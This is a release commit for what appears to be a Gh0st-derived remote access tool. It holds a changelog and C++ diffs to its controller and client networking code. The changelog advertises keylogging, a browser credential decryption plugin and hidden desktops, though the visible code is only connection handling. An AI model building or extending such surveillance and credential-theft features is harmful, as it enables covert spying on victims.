Release v1.1.2
This commit is contained in:
19
ReadMe.md
19
ReadMe.md
@@ -254,6 +254,25 @@
|
|||||||
- 改进:新增弹窗以显示主机的详细信息
|
- 改进:新增弹窗以显示主机的详细信息
|
||||||
- 改进客户端稳定性
|
- 改进客户端稳定性
|
||||||
|
|
||||||
|
**2025.07.07**
|
||||||
|
|
||||||
|
发布 v1.1.2:
|
||||||
|
|
||||||
|
* 修复:键盘记录功能的问题
|
||||||
|
* 安全:增强插件的授权机制
|
||||||
|
* 修复:释放 `CMachineDlg` 对象时的内存泄漏问题
|
||||||
|
* 修复:使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147)
|
||||||
|
* 新增:添加跳转到授权指南页面的菜单项
|
||||||
|
* 插件:新增一个文件管理模块
|
||||||
|
* 优化:减少主程序中的冗余代码
|
||||||
|
* 修复:在后台数据处理过程中关闭窗口导致的崩溃问题
|
||||||
|
* 优化:移除读取注册表时的冗余代码
|
||||||
|
* 架构调整:重构 TCP 客户端/服务器代码;重写套接字服务器逻辑
|
||||||
|
* 新功能:支持同时监听多个端口
|
||||||
|
* 新功能:支持客户端通过 UDP 连接;新增客户端协议选择(TCP/UDP)
|
||||||
|
* 插件:#145 支持远程画板功能
|
||||||
|
* 插件:增加远程桌面隐私屏幕功能
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6.其他项目 <a id="6-other-projects"></a>
|
# 6.其他项目 <a id="6-other-projects"></a>
|
||||||
|
|||||||
20
ReadMe_EN.md
20
ReadMe_EN.md
@@ -270,6 +270,26 @@ Modifying and compiling the program yourself can also resolve this issue.*
|
|||||||
* Improvement: Add a popup window to show details
|
* Improvement: Add a popup window to show details
|
||||||
* Improve client stability
|
* Improve client stability
|
||||||
|
|
||||||
|
|
||||||
|
**2025.07.07**
|
||||||
|
|
||||||
|
Release v1.1.2:
|
||||||
|
|
||||||
|
* Fix the problem with the keylogging feature
|
||||||
|
* Security: Improve the authorization of plugins
|
||||||
|
* fix: Memory leak when release `CMachineDlg` object
|
||||||
|
* fix: Showing wrong IP while using `Reverse Proxy` (#147)
|
||||||
|
* Add a menu redirects to the authorization guide page
|
||||||
|
* Plugin: Add another file management module
|
||||||
|
* Improve: Reduce master program redundant code
|
||||||
|
* fix: Prevent crash when closing window during background data processing
|
||||||
|
* Improve: Remove redundant code for reading the registry
|
||||||
|
* layout: Reorganize TCP client/server code; Refactor the socket server code
|
||||||
|
* feature: Support listening on multiple ports simultaneously
|
||||||
|
* feature: Support client connections over UDP; Add client protocol option TCP/UDP
|
||||||
|
* Plugin: #145 Support remote drawing board
|
||||||
|
* Plugin: Add remote desktop privacy screen feature
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6. Related Projects
|
# 6. Related Projects
|
||||||
|
|||||||
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
BIN
Releases/v1.1.2/Plugins/BrowserDecrypt.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
BIN
Releases/v1.1.2/Plugins/DrawingBoard.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/FileManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
BIN
Releases/v1.1.2/Plugins/HostManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/PrivateDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
BIN
Releases/v1.1.2/Plugins/RemoteChat.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
BIN
Releases/v1.1.2/Plugins/VirtualDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.2/Yama.exe
Normal file
BIN
Releases/v1.1.2/Yama.exe
Normal file
Binary file not shown.
@@ -13,7 +13,7 @@
|
|||||||
// Զ<>̵<EFBFBD>ַ
|
// Զ<>̵<EFBFBD>ַ
|
||||||
CONNECT_ADDRESS g_SETTINGS = {
|
CONNECT_ADDRESS g_SETTINGS = {
|
||||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||||
FALSE, Startup_DLL, NULL, PROTO_UDP, RUNNING_RANDOM,
|
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||||
|
|||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,1,1
|
FILEVERSION 1,0,1,2
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.1.1"
|
VALUE "FileVersion", "1.0.1.2"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -30,7 +30,11 @@ public:
|
|||||||
|
|
||||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||||
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
|
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||||
|
if (ret1) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
|
||||||
|
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret1).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||||
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
|
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||||
|
if (ret2) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
|
||||||
|
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret2).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||||
return (ret1 == 0 || ret2 == 0);
|
return (ret1 == 0 || ret2 == 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
@@ -1457,7 +1457,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
|||||||
//真彩Bar
|
//真彩Bar
|
||||||
VOID CMy2015RemoteDlg::OnAbout()
|
VOID CMy2015RemoteDlg::OnAbout()
|
||||||
{
|
{
|
||||||
MessageBox("Copyleft (c) FTU 2025" + CString("\n编译日期: ") + __DATE__ +
|
MessageBox("Copyleft (c) FTU 2019—2025" + CString("\n编译日期: ") + __DATE__ +
|
||||||
CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于");
|
CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于");
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1720,7 +1720,7 @@ std::string getDateStr(int daysOffset = 0) {
|
|||||||
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
if (isClosed) {
|
if (isClosed) {
|
||||||
return ContextObject->Destroy();
|
return;
|
||||||
}
|
}
|
||||||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||||
@@ -1761,7 +1761,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
resp[80] = 0;
|
resp[80] = 0;
|
||||||
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
|
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
ContextObject->Destroy();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD_EXECUTE_DLL: // 请求DLL
|
case CMD_EXECUTE_DLL: // 请求DLL
|
||||||
@@ -1776,7 +1775,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
ContextObject->Destroy();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case COMMAND_PROXY:
|
case COMMAND_PROXY:
|
||||||
@@ -1786,7 +1784,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
case TOKEN_HEARTBEAT: case 137:
|
case TOKEN_HEARTBEAT: case 137:
|
||||||
UpdateActiveWindow(ContextObject);
|
UpdateActiveWindow(ContextObject);
|
||||||
ContextObject->Destroy();
|
|
||||||
break;
|
break;
|
||||||
case SOCKET_DLLLOADER: {// 请求DLL
|
case SOCKET_DLLLOADER: {// 请求DLL
|
||||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||||
@@ -1810,7 +1807,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||||||
closesocket(ContextObject->sClientSocket);
|
closesocket(ContextObject->sClientSocket);
|
||||||
Sleep(10);
|
Sleep(10);
|
||||||
ContextObject->Destroy();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_DRAWING_BOARD:
|
case TOKEN_DRAWING_BOARD:
|
||||||
@@ -2668,7 +2664,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
m_pFloatingTip = new CWnd();
|
m_pFloatingTip = new CWnd();
|
||||||
int width = res[RES_FILE_PATH].GetLength() * 10;
|
int width = res[RES_FILE_PATH].GetLength() * 10;
|
||||||
width = min(max(width, 360), 800);
|
width = min(max(width, 360), 800);
|
||||||
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 60); // 宽度、高度
|
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 80); // 宽度、高度
|
||||||
|
|
||||||
BOOL bOk = m_pFloatingTip->CreateEx(
|
BOOL bOk = m_pFloatingTip->CreateEx(
|
||||||
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
||||||
|
|||||||
@@ -478,7 +478,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
|
PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
|
||||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
if (m_NotifyProc(ContextObject))
|
if (m_NotifyProc(ContextObject))
|
||||||
ret = 999;
|
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -500,7 +500,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
|
ContextObject->Decode(CompressedBuffer, ulOriginalLength);
|
||||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
|
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
|
||||||
if (m_NotifyProc(ContextObject))
|
if (m_NotifyProc(ContextObject))
|
||||||
ret = 999;
|
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||||
SAFE_DELETE_ARRAY(CompressedBuffer);
|
SAFE_DELETE_ARRAY(CompressedBuffer);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
@@ -515,7 +515,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||||
if (m_NotifyProc(ContextObject))
|
if (m_NotifyProc(ContextObject))
|
||||||
ret = 999;
|
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||||
}else if (usingZstd){
|
}else if (usingZstd){
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
|
||||||
if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
|
if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
|
||||||
@@ -524,7 +524,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
|
||||||
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
|
||||||
if (m_NotifyProc(ContextObject))
|
if (m_NotifyProc(ContextObject))
|
||||||
ret = 999;
|
ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||||
} else {
|
} else {
|
||||||
zlibFailed = true;
|
zlibFailed = true;
|
||||||
ContextObject->CompressMethod = COMPRESS_UNKNOWN;
|
ContextObject->CompressMethod = COMPRESS_UNKNOWN;
|
||||||
|
|||||||
Reference in New Issue
Block a user